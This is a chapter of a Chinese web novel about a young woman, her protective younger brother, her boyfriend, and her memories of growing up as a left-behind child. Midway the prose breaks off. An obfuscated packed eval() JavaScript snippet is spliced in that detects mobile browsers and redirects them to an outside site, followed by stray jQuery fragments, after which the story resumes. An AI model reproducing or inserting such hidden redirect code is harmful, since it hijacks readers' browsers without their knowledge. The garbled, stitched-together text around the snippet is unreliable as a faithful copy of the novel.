62. 留守儿童

作品:《加班乱码字变成猫了

    陆柯杨等了一会儿,他小小的身躯撑着那扇破旧生锈的铁门,两只脚斜斜地支在地上。


    他眼睛还红着,有些无神地看着远方,听到楼梯这边的响声之后,才回过神来,脸上立马有了淡淡的笑意,“姐姐。”


    “等久了吧。”


    “没有。”


    铁门关上,两姐弟走在出小区的路上。


    两个人中间还隔着两个人的距离,陆柯杨低着头看路,分明是还沉浸在刚刚的情绪之中。


    陆柯楹没法安慰他,只能跟他搭话,转移他的注意力。


    “你现在初一了?”


    陆柯杨抬头看了她一眼,“嗯。”


    “初一几班?”


    “初一(3)班。”


    “是重点班吗?”


    “现在学校已经不能设重点班了。”


    “哦,我们那时候有。”


    “那姐姐你当时是上的重点班吗?”


    “是。不过我们那个烂学校,重不重点的都一样吧,能考上高中就算不错了。”


    “真厉害。”


    他依旧不懂夸人的窍门,不咸不淡地夸着。


    “姐姐你有男朋友吗?”陆柯杨主动承认错误,“我刚刚不小心看到了你的手机。”


    想起刚刚陈泽朗给她发的是酒店的照片,陆柯楹有些窘迫,但还是承认了,“有哦。”


    然后心虚地添加更多信息重塑这位“准姐夫”的人设和形象,“他对我很好,温柔、善解人意,也一直默默在支持我。”


    “那你男朋友现在会来接你回家吗?”


    陆柯楹嗅出了阴谋的味道。


    她摇了摇头,“不会,我叫了顺风车。”


    “那你能不能叫你男朋友来接你。”


    “怎么了?”


    “我想见见他。”


    陆柯楹乐了,初一的小孩儿正是中二的时候,他该不会是想整什么弟弟VS姐夫的man’stalk吧。


    “下次吧。”


    刚出小区的小铁门,陆柯楹就看见陈泽朗的那辆车停在今天早上把她放下来的地方。


    她连忙截住陆柯杨,“你回去吧,送我到这就行了。”


    “我把你送上车嘛。”


    对待小孩,只能用小孩的口吻和叙事方法:


    “不用了。我是个大人,怎么还要小孩送,会被司机笑话的。”


    陆柯杨扭扭捏捏不肯动,保安厅的保安大叔却走了过来。


    他认出了陆柯杨,也认出了她。


    “柯杨,这谁啊?”


    陆柯杨不知道今早她和这个大叔之间的摩擦,被问得有些莫名其妙。


    “我姐姐。”


    保安大叔嘴巴张得跟只□□一样大,“亲姐啊?”


    “对啊。”


    保安又看了她和陆柯杨几眼,“看着是挺像的。”


    “我们两姐弟,当然像了。”


    保安自以为自己是在开玩笑,“该不会是你爸在外面偷偷生的私生女吧,我怎么从来都没有见过?”


    陆柯杨像是被点着了的炮仗,立即爆炸了起来,“你才是在外面偷偷生孩子了!你说的什么话啊!”


    “欸你这孩子,开玩笑的话你听不懂呢!”


    陆柯楹皱着眉,对保安说:“你觉得你这玩笑好笑?”


    陆柯杨像是有了靠山,特别有底气:“就是。”


    保安:“不好笑就不笑呗,这么小心眼。”


    “这根本就不是玩笑的事!是你侮辱了我姐,你必须得跟我姐道歉。”


    保安:“道什么歉啊,就这么件小事!这么较真!”


    眼看又要吵起来。


    陆柯楹脑瓜子疼。


    她看了眼陈泽朗的车,他似乎看到这边有什么矛盾,打开了车门,正想走过来。


    陆柯楹只能赶紧休止这场无聊的纷争,把陆柯杨往回赶。陆柯杨有点不忿又有点委屈,三步两回头地走,好不容易才见他拐了弯,往三座的方向走。


    保安坐回到保安厅了还在那吐槽,“你这弟弟真是脾气暴躁,一点就着。小小年纪不学好,一点礼貌都没有。”


    陆柯楹肚子里的火气也压不住了,“我弟弟怎么样我了解。你先管好你自己吧,老是对别人评头论足,把冒犯当玩笑,是闲得慌吗。”


    保安还在那嘴碎,陆柯楹往前走,把疑惑地上前来的陈泽朗也带回到车里去。


    陈泽朗重新启动了车,车里开了暖气。


    陆柯楹靠在座椅上,深呼吸几下才觉得活了过来。


    陈泽朗关心地看着她,手撑在她的脑后,温柔弟摩挲着她的脸,“你怎么看起来很累的样子。”


    “是好累。”


    “要不要先休息一会儿再回去?”


    “你的房间退了吗?”


    “退了。”陈泽朗已经在调导航了,“但是可以再订一间。”


    车子驶入酒店,他们从前台拿了卡直奔房间。


    房卡插进卡槽,酒店突然就变得亮了起来。趁陈泽朗挑暖气的空荡,陆柯楹一屁股坐在床上,双手张着,撒娇要陈泽朗给她脱外套。


    陈泽朗照做。给她脱了最外层的毛衣外套,又给她脱了里面的打底毛衣,留下一件贴身的吊带。


    他又蹲下,把她的鞋子也脱了,示意她可以躺床上了。


    可陆柯楹的手还在张着。


    陈泽朗也脱了自己的毛呢外套,仅穿着一件蓝色衬衫,走了过去。


    陆柯楹的在他的腰后收紧,把头深深地埋在他的胸前,吸收着熟悉而安全的味道。


    陈泽朗回抱她,两个人都安静地没有说话。


    陆柯楹静静地充电,陈泽朗静静地陪着她。


    他的手轻轻地拨弄着她蓬松的头发,抱紧她,吻在她的头顶。


    中途陆柯楹意识到陈泽朗站久了会累,把他拉了下来坐在床上,自己爬上他的身体,继续拥抱。


    拥抱有种很神奇的魔力,能让一切不安定的情绪平复下来,就像一剂安定剂。


    它是最中性的一个动作,表达着关心和能量的传递。


    陆柯楹调整了好久,终于让自己的情绪不那么起伏。


    她在陈泽朗的唇边吻了一口,表示答谢,然后拉着他舒服地躺了下来。


    陈泽朗知道她已经平静下来,终于开始问问题。


    “刚刚那个是你弟?”


    想起陆柯杨今天多次维护她的场面,陆柯楹心里觉得暖暖的。


    “嗯嗯。他是特别好的一个小孩,不过就是有点粘人,知道我有男朋友还说想见一见。”


    “那怎么不让我们见一面?”


    “他是个姐控,我怕他见着你会打你。”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394264|181667||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “他脾气不好?我看你们刚刚在门口好像在跟那个保安吵架。”


    “没。是那个保安不好。他是在维护我。”


    “可惜,错失了一个在小舅子面前表现的机会,如果我过去上演英雄救美的桥段,肯定能在小舅子面前加点形象分。”


    陆柯楹哈哈笑了出来。


    她当时真是笨了,确实应该让陈泽朗过去表现一下,好歹挽回一下他给她发酒店图片的奇怪形象。不然到时候小孩哥真的找他开展一场严肃的man’stalk该怎么办,指不定陈泽朗还会被小孩哥指责他为老不尊,影响恶劣。


    陆柯楹想到那个画面,觉得更好笑了。


    “这么开心?看来除了跟小孩哥相处得不错,跟你父母相处得也挺顺利的?”


    陆柯楹的笑僵在了脸上,“要是相处得顺利的话,我刚刚也不用充电这么久了。”


    陈泽朗把陆柯楹抱得更紧了些。


    陈泽朗看着她的眼神,像是看着一颗受伤的宝石。


    陆柯楹抬手,抚平了他眉间的褶皱。


    “陈泽朗,我有没有跟你说过我小时候的故事?”


    “有听过一些片段。”


    陆柯楹试图让气氛不那么苦闷,“就像是在星空台看《海贼王》一样是吗?老是看得断断续续。”


    陈泽朗淡淡地笑着。


    “我小时候啊,是个留守儿童……”


    准确来说,陆柯楹是个辗转亲戚家的留守儿童。


    她的小学阶段是在镇上的爷爷奶奶家度过的,初高中是在县城的大舅家里。


    她的父母,在她幼儿园之后就出外务工了,他们来到的第一个地方是南林,因为南林是省会城市,当时遍地都是机会,只要肯干肯拼博,肯定能在这稳定扎根。


    陆明照没有文凭,初中毕业的水平来到大城市只能干苦力活,而蔡洁是在纺织厂里当女工,夫妻二人平时干活,半个月都有可能见不着一面,更别说养孩子带孩子,所以陆柯楹很自然而然地落在了爷爷奶奶手上。


    爷爷奶奶也不是对她不好,该吃的给她吃,该穿的给她穿。


    只不过家里总是安安静静的,爷爷奶奶都是不喜欢说话的人,很少跟她聊天,所以陆柯楹年纪小小便学会了“孤独”两个字怎么写。


    她有要好的同学,但是亲情的缺失是不能用友情来填充的。


    她很痛苦,但事也无法用“叛逆”来发泄。因为她知道,父母远在两三百公里之外的南林,他们不会因为她调皮捣蛋而专门跑回来抽她一顿。她只会被爷爷奶奶关禁闭,一个星期都不能出门和小伙伴玩,这无疑是针对“孤独”炮制的惩罚。


    每年的春节是她唯一能见父母的时候。


    可是她们就像是飞来南方只是为了过冬的燕子,来一趟只是为了躲避外面的严寒,却不是为了给她带来温暖。他们甚至希望她提供温暖和安慰,让这个家更像家,让他们的辛苦有具象的意义和价值。


    所以陆柯楹只能努力学习,永远保持当班里的第一名,这样爸爸妈妈才会开心。


    她必须活泼开朗,在难过的时候用大笑来掩饰,在挥手跟爸爸妈妈道别的时候用不吵不闹来代替哭喊,在别人问你会不会怨爸爸妈妈的时候,违心地用着大人的口吻,说那也没办法。


    如果他们眼尖的话,应该送她去学表演才对。